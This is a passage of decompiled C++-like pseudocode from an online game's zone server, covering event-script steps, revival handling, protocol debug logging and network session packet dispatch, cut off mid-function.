!PineEventScriptNode::ScriptParameterPaser::GetByString( &paser, 0, (std::basic_string,std::allocator > *)&LinkServer) || !PineEventScriptNode::ScriptParameterPaser::GetByString( &paser, 1, (std::basic_string,std::allocator > *)&LinkClent) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( v17 >= 0x10 ) operator delete(p); v17 = 15; v16 = 0; LOBYTE(p) = 0; if ( v21 < 0x10 ) goto LABEL_19; v10 = v19; goto LABEL_18; } if ( !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 2, (unsigned int *)&dwPosX) || !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 3, (unsigned int *)&dwPosY) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( v17 >= 0x10 ) operator delete(p); v17 = 15; v16 = 0; LOBYTE(p) = 0; if ( v21 < 0x10 ) goto LABEL_19; v10 = v19; LABEL_18: operator delete(v10); LABEL_19: v21 = 15; v20 = 0; LOBYTE(v19) = 0; goto LABEL_20; } memset(&LinkInfo, 0, 0x64u); v27 = 0; v5 = v19; if ( v21 < 0x10 ) v5 = (const char *)&v19; strncpy(&v23, v5, 0xCu); v6 = p; if ( v17 < 0x10 ) v6 = (const char *)&p; strncpy(&v24, v6, 0xCu); v7 = *(Movie::Theater **)&ps->gap10114[4]; v25 = dwPosX; v26 = dwPosY; v8 = (void *)Movie::Theater::GetFieldMap(v7); FieldMap::fm_SetSaveLinktoData(v8, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&LinkClent); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&LinkServer); LABEL_20: LOBYTE(v30) = 0; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(&paser); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SaveLinkto::sa_Step"); __security_check_cookie((unsigned int)&dwPosY ^ v29); return result; } //----- (004E06E0) -------------------------------------------------------- void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this) { AxialListBanArea *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBanArea::_vftable_; if ( this->alba_BanList._Myfirst ) operator delete(this->alba_BanList._Myfirst); v1->alba_BanList._Myfirst = 0; v1->alba_BanList._Mylast = 0; v1->alba_BanList._Myend = 0; v1->alba_BanList._Myfirst = 0; v1->alba_BanList._Mylast = 0; v1->alba_BanList._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } //----- (004E0730) -------------------------------------------------------- void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this) { AxialListRevival *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; if ( this->alr_ReviveList._Myfirst ) operator delete(this->alr_ReviveList._Myfirst); v1->alr_ReviveList._Myfirst = 0; v1->alr_ReviveList._Mylast = 0; v1->alr_ReviveList._Myend = 0; v1->alr_ReviveList._Myfirst = 0; v1->alr_ReviveList._Mylast = 0; v1->alr_ReviveList._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } //----- (004E0780) -------------------------------------------------------- #error "4E0780: undefined or illegal type '#1265' (funcsize=174)" //----- (004E0A10) -------------------------------------------------------- #error "4E0A10: undefined or illegal type '#1265' (funcsize=204)" //----- (004E0D10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ID_Fail::sa_Step(PineEventScriptNode::ID_Fail *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ID_Fail *v4; // esi@1 PineEventScriptNode::Express *v5; // ecx@1 void *v6; // eax@5 const char *v7; // ST04_4@7 #1265 *v8; // eax@7 unsigned __int16 result; // ax@9 FunctionEntarance _; // [sp+Ch] [bp-158h]@1 char sMessage; // [sp+10h] [bp-154h]@1 void *p; // [sp+14h] [bp-150h]@1 int v13; // [sp+24h] [bp-140h]@1 unsigned int v14; // [sp+28h] [bp-13Ch]@1 PineEventScriptNode::ScriptParameterPaser paser; // [sp+2Ch] [bp-138h]@2 unsigned int v16; // [sp+154h] [bp-10h]@1 int v17; // [sp+160h] [bp-4h]@1 v4 = this; v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "KQFail::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KQFail::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQFail::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; v14 = 15; v13 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&sMessage, "DungeonTimeout", 0xEu); v5 = v4->baseclass_0.baseclass_0.os_Express[0]; LOBYTE(v17) = 1; if ( v5 ) { PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(&paser, v4->baseclass_0.baseclass_0.os_Express, ps); LOBYTE(v17) = 2; PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(&paser, "ID_Fail::sa_Step"); if ( !PineEventScriptNode::ScriptParameterPaser::GetByString( &paser, 0, (std::basic_string,std::allocator > *)&sMessage) ) std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&sMessage, "DungeonTimeout", 0xEu); LOBYTE(v17) = 1; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(&paser); } v6 = p; if ( v14 < 0x10 ) v6 = &p; v7 = (const char *)v6; v8 = Movie::Theater::GetFieldMap(*(Movie::Theater **)&ps->gap10114[4]); MapClusterManager::ClusterManager::cm_MissoionFailInstance(&mapclustermanager, v8, v7); PineScriptStack::ProcessStack::ps_Pop(ps); if ( v14 >= 0x10 ) operator delete(p); --funcallanalizer.fca_stackpoint; v14 = 15; v13 = 0; LOBYTE(p) = 0; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQFail::sa_Step"); __security_check_cookie((unsigned int)&_ ^ v16); return result; } //----- (004E0EC0) -------------------------------------------------------- #error "4E0EC0: undefined or illegal type '#1265' (funcsize=180)" //----- (004E1190) -------------------------------------------------------- #error "4E1190: undefined or illegal type '#1265' (funcsize=49)" //----- (004E1230) -------------------------------------------------------- #error "4E1230: undefined or illegal type '#1265' (funcsize=224)" //----- (004E1580) -------------------------------------------------------- void __thiscall AxialListRevival::AxialListRevival(AxialListRevival *this) { AxialListRevival *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; v1->alr_ReviveList._Myfirst = 0; v1->alr_ReviveList._Mylast = 0; v1->alr_ReviveList._Myend = 0; v1->alr_ReviveList._Myfirst = 0; v1->alr_ReviveList._Mylast = 0; v1->alr_ReviveList._Myend = 0; } //----- (004E15E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { void *v4; // ecx@1 void *v5; // esi@4 unsigned __int16 v6; // ax@8 unsigned __int16 v7; // si@8 int Alr; // [sp+10h] [bp-20h]@1 void *p; // [sp+18h] [bp-18h]@4 unsigned int v11; // [sp+1Ch] [bp-14h]@5 int v12; // [sp+20h] [bp-10h]@10 int v13; // [sp+2Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRevival::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; AxialListRevival::AxialListRevival((AxialListRevival *)&Alr); v4 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v13) = 1; if ( v4 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&Alr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); v5 = p; if ( p && (signed int)(v11 - (_DWORD)p) >> 2 && (unsigned int)p < v11 ) { do { ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(*(_DWORD *)v5); v5 = (char *)v5 + 4; } while ( (unsigned int)v5 < v11 ); } v6 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v13) = 0; Alr = (int)&AxialListRevival::_vftable_; v7 = v6; if ( p ) operator delete(p); p = 0; v11 = 0; v12 = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&Alr); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); return v7; } // 445B40: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ReviveReqProcess(_DWORD); //----- (004E1730) -------------------------------------------------------- #error "4E1730: undefined or illegal type '#593' (funcsize=162)" //----- (004E1980) -------------------------------------------------------- #error "4E1980: undefined or illegal type '#593' (funcsize=60)" //----- (004E1A60) -------------------------------------------------------- #error "4E1A60: undefined or illegal type '#593' (funcsize=38)" //----- (004E1B10) -------------------------------------------------------- #error "4E1B10: undefined or illegal type '#593' (funcsize=230)" //----- (004E1E30) -------------------------------------------------------- void __thiscall CProtocolAnalysis::IncAllNetCommand(CBriefProtocolAnalysis *this, NETCOMMAND nNetCommand) { char *v2; // eax@3 if ( (unsigned __int8)(nNetCommand.protocol >> 10) < 0x40u ) { if ( (nNetCommand.protocol & 0x3FFu) < 0x400 ) { v2 = (char *)this + 4 * ((nNetCommand.protocol & 0x3FF) + ((((unsigned int)nNetCommand.protocol >> 10) + 64) << 10)); ++*(_DWORD *)v2; } } } //----- (004E1E70) -------------------------------------------------------- void __thiscall CBriefProtocolAnalysis::LogWriteBriefNetCommand(CBriefProtocolAnalysis *this) { char *v1; // eax@1 signed int v2; // ebp@2 char *v3; // edi@2 DebugLogging *v4; // eax@4 DebugLogging *v5; // esi@4 _iobuf *v6; // eax@9 _iobuf *v7; // eax@11 DebugLogging *v8; // eax@13 DebugLogging *v9; // esi@13 _iobuf *v10; // eax@18 _iobuf *v11; // eax@20 DebugLogging *v12; // eax@22 DebugLogging *v13; // esi@22 _iobuf *v14; // eax@27 _iobuf *v15; // eax@29 int v16; // edi@31 DebugLogging *v17; // eax@31 DebugLogging *v18; // esi@31 _iobuf *v19; // eax@36 _iobuf *v20; // eax@38 DebugLogging *v21; // eax@40 DebugLogging *v22; // esi@40 _iobuf *v23; // eax@43 bool v24; // sf@46 unsigned __int8 v25; // of@46 char *v26; // [sp+10h] [bp-14h]@2 int nDep; // [sp+14h] [bp-10h]@1 int v28; // [sp+18h] [bp-Ch]@1 signed int nCommand; // [sp+1Ch] [bp-8h]@2 CBriefProtocolAnalysis *v30; // [sp+20h] [bp-4h]@1 v30 = this; nDep = 0; v28 = 0; v1 = (char *)this->CurBriefNetCommand; do { v2 = 0; v3 = v1; nCommand = 0; v26 = v1; do { if ( *(_DWORD *)v3 > 0u ) { v4 = DebugLogging::operator<<( &ShineObjectHandleLog, (char *)&stru_6569C0.maa_MobActionStruct.inmove.maim_TargettingRate); v5 = v4; if ( DebugLogging::dl_ActivAll && v4->dl_Activ ) { if ( !v4->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v4) ) { v6 = fopen(v5->dl_FullFileName, "a+"); v5->dl_FilePointer = v6; if ( v6 ) fprintf(v6, "%s : "); } else { v5->dl_FilePointer = 0; } } v7 = v5->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } v8 = DebugLogging::operator<<(v5, (char *)&stru_63C688); v9 = v8; if ( DebugLogging::dl_ActivAll && v8->dl_Activ ) { if ( !v8->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v8) ) { v10 = fopen(v9->dl_FullFileName, "a+"); v9->dl_FilePointer = v10; if ( v10 ) fprintf(v10, "%s : "); } else { v9->dl_FilePointer = 0; } } v11 = v9->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } v12 = DebugLogging::operator<<( v9, (char *)&stru_6569C0.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); v13 = v12; if ( DebugLogging::dl_ActivAll && v12->dl_Activ ) { if ( !v12->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v12) ) { v14 = fopen(v13->dl_FullFileName, "a+"); v13->dl_FilePointer = v14; if ( v14 ) fprintf(v14, "%s : "); } else { v13->dl_FilePointer = 0; } } v15 = v13->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } v16 = (int)((char *)v30 + 4 * (v2 + v28)); v17 = DebugLogging::operator<<(v13, (char *)&stru_63C688); v18 = v17; if ( DebugLogging::dl_ActivAll && v17->dl_Activ ) { if ( !v17->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v17) ) { v19 = fopen(v18->dl_FullFileName, "a+"); v18->dl_FilePointer = v19; if ( v19 ) fprintf(v19, "%s : "); } else { v18->dl_FilePointer = 0; } } v20 = v18->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } v21 = DebugLogging::operator<<(v18, (char *)&unk_63D200); v22 = v21; if ( DebugLogging::dl_ActivAll && v21->dl_Activ ) { if ( v21->dl_FilePointer ) { v23 = DebugLogging::dl_FilePoint(v21); fputc(10, v23); fflush(v22->dl_FilePointer); fclose(v22->dl_FilePointer); v22->dl_FilePointer = 0; } } v2 = nCommand; *(_DWORD *)v16 += *(_DWORD *)v26; *(_DWORD *)v26 = 0; v3 = v26; } ++v2; v3 += 4; nCommand = v2; v26 = v3; } while ( v2 < 1024 ); v25 = __OFSUB__(v28 + 1024, 65536); v24 = v28 - 64512 < 0; ++nDep; v1 = v3; v28 += 1024; } while ( v24 ^ v25 ); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004E2190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_ClearBriefInfoPointingCnt(int this) { *(_DWORD *)(this + 102) = 0; } //----- (004E21A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_IncBriefInfoPointingCnt(int this) { ++*(_DWORD *)(this + 102); } //----- (004E21B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_WriteBriefInfoQuetyData(int this, char nType) { int v2; // ebp@1 unsigned __int16 v3; // ax@2 DebugLogging *v4; // esi@2 _iobuf *v5; // eax@4 DebugLogging *v6; // esi@6 _iobuf *v7; // eax@8 DebugLogging *v8; // esi@10 _iobuf *v9; // eax@12 DebugLogging *v10; // esi@14 _iobuf *v11; // eax@16 DebugLogging *v12; // esi@18 _iobuf *v13; // eax@20 DebugLogging *v14; // esi@22 _iobuf *v15; // eax@24 DebugLogging *v16; // eax@26 __int16 subhandle; // [sp+4h] [bp-14h]@2 ShineObjectHandleUnion hndunion; // [sp+8h] [bp-10h]@2 int v19; // [sp+14h] [bp-4h]@2 v2 = this; if ( *(_DWORD *)(this + 102) ) { MoveManager::MoveManager((DiceTaiSai *)&hndunion); v3 = *(_WORD *)(v2 + 4); v19 = 0; hndunion.sohu_Handle = v3; ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&subhandle); v4 = DebugLogging::operator<<( &ShineObjectHandleLog, (char *)&stru_6569C0.maa_MobActionStruct.avoidoverlap.baseclass_0.mant_Target); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 836))(v2); v10 = DebugLogging::operator<<(v8, (char *)&stru_6569C0.maa_MobActionStruct.backstep.baseclass_0.mant_Target); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, (char *)&stru_6569C0.maa_MobActionStruct.attack.mat_NextAttackTick); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_6569C0.maa_MobActionStruct.wander.maw_WanderTick.m_TickInterval); if ( DebugLogging::dl_ActivAll && v14->dl_Activ ) { DebugLogging::dl_FilePoint(v14); v15 = v14->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } v16 = DebugLogging::operator<<(v14, (char *)&unk_63D200); DebugLogging::operator<<(v16, &deb_LF); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2764))(v2); v19 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004E2400) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_WriteBriefInfoQuetyData(int this, char nType) { int v2; // edi@1 unsigned __int16 v3; // ax@2 DebugLogging *v4; // esi@2 _iobuf *v5; // eax@4 DebugLogging *v6; // esi@6 _iobuf *v7; // eax@8 DebugLogging *v8; // esi@10 _iobuf *v9; // eax@12 DebugLogging *v10; // esi@14 _iobuf *v11; // eax@16 DebugLogging *v12; // esi@18 _iobuf *v13; // eax@20 DebugLogging *v14; // esi@22 _iobuf *v15; // eax@24 DebugLogging *v16; // esi@26 _iobuf *v17; // eax@28 DebugLogging *v18; // esi@30 _iobuf *v19; // eax@32 DebugLogging *v20; // eax@34 __int16 subhandle; // [sp+4h] [bp-14h]@2 ShineObjectHandleUnion hndunion; // [sp+8h] [bp-10h]@2 int v23; // [sp+14h] [bp-4h]@2 v2 = this; if ( *(_DWORD *)(this + 143620) ) { MoveManager::MoveManager((DiceTaiSai *)&hndunion); v3 = *(_WORD *)(v2 + 4); v23 = 0; hndunion.sohu_Handle = v3; ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&subhandle); v4 = DebugLogging::operator<<( &ShineObjectHandleLog, "ShineObjectClass::ShinePlayer::so_WriteBriefInfoQuetyData - so_handle["); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 836))(v2); v10 = DebugLogging::operator<<(v8, (char *)&stru_6569C0.maa_MobActionStruct.backstep.baseclass_0.mant_Target); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, "] sp_BriefInfoQuery.nQueryCnt["); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v14->dl_Activ ) { DebugLogging::dl_FilePoint(v14); v15 = v14->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } } v16 = DebugLogging::operator<<(v14, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v16->dl_Activ ) { DebugLogging::dl_FilePoint(v16); v17 = v16->dl_FilePointer; if ( v17 ) fprintf(v17, "%d"); } } v18 = DebugLogging::operator<<(v16, (char *)&stru_6569C0.maa_MobActionStruct.wander.maw_WanderTick.m_TickInterval); if ( DebugLogging::dl_ActivAll ) { if ( v18->dl_Activ ) { DebugLogging::dl_FilePoint(v18); v19 = v18->dl_FilePointer; if ( v19 ) fprintf(v19, "%d"); } } v20 = DebugLogging::operator<<(v18, (char *)&unk_63D200); DebugLogging::operator<<(v20, &deb_LF); *(_DWORD *)(v2 + 143620) = 0; *(_DWORD *)(v2 + 143624) = 0; v23 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); } ShineObjectClass::ShineObject::so_WriteBriefInfoQuetyData(v2, nType); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004E26F0) -------------------------------------------------------- void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #734 *a2, unsigned __int16 handle) { OPToolSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); optsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10]((OPToolSession *)&optoolsock, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::zbs_Parsing"); } //----- (004E27F0) -------------------------------------------------------- void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #734 *a2, unsigned __int16 handle) { ZoneListenSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneListenSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); zlsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10](&zonelisten, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zbs_Parsing"); } //----- (004E28F0) -------------------------------------------------------- void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #734 *a2, unsigned __int16 handle) { ZoneConnectSession *v3; // edi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingLinkageSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingLinkageSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zbs_Parsing : sp entry!!!", a2 == 0); v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, &v3->baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zbs_Parsing : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingLinkageSession::zbs_Parsing"); } //----- (004E2A00) -------------------------------------------------------- void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #734 *a2, unsigned __int16 handle) { GameDBSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "GameDBSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); gdsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); } //----- (004E2AF0) -------------------------------------------------------- void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #734 *a2, unsigned __int16 handle) { GameLogSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "GameLogSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); glsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); } //----- (004E2BE0) -------------------------------------------------------- void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #734 *a2, unsigned __int16 handle) { WorldManagerSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); wldmanprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); } //----- (004E2CD0) -------------------------------------------------------- #error "4E2CD0: undefined or illegal type '#734' (funcsize=90)" //----- (004E2E10) -------------------------------------------------------- void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world) { unsigned int v2; // eax@1 OptionReader *v3; // edi@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int i; // ebp@5 void *v9; // eax@6 void *v10; // esi@6 unsigned int v11; // eax@7 ORToken v12; // [sp-18h] [bp-B4h]@6 int v13; // [sp-14h] [bp-B0h]@6 int v14; // [sp-10h] [bp-ACh]@6 char *v15; // [sp-Ch] [bp-A8h]@1 const char *v16; 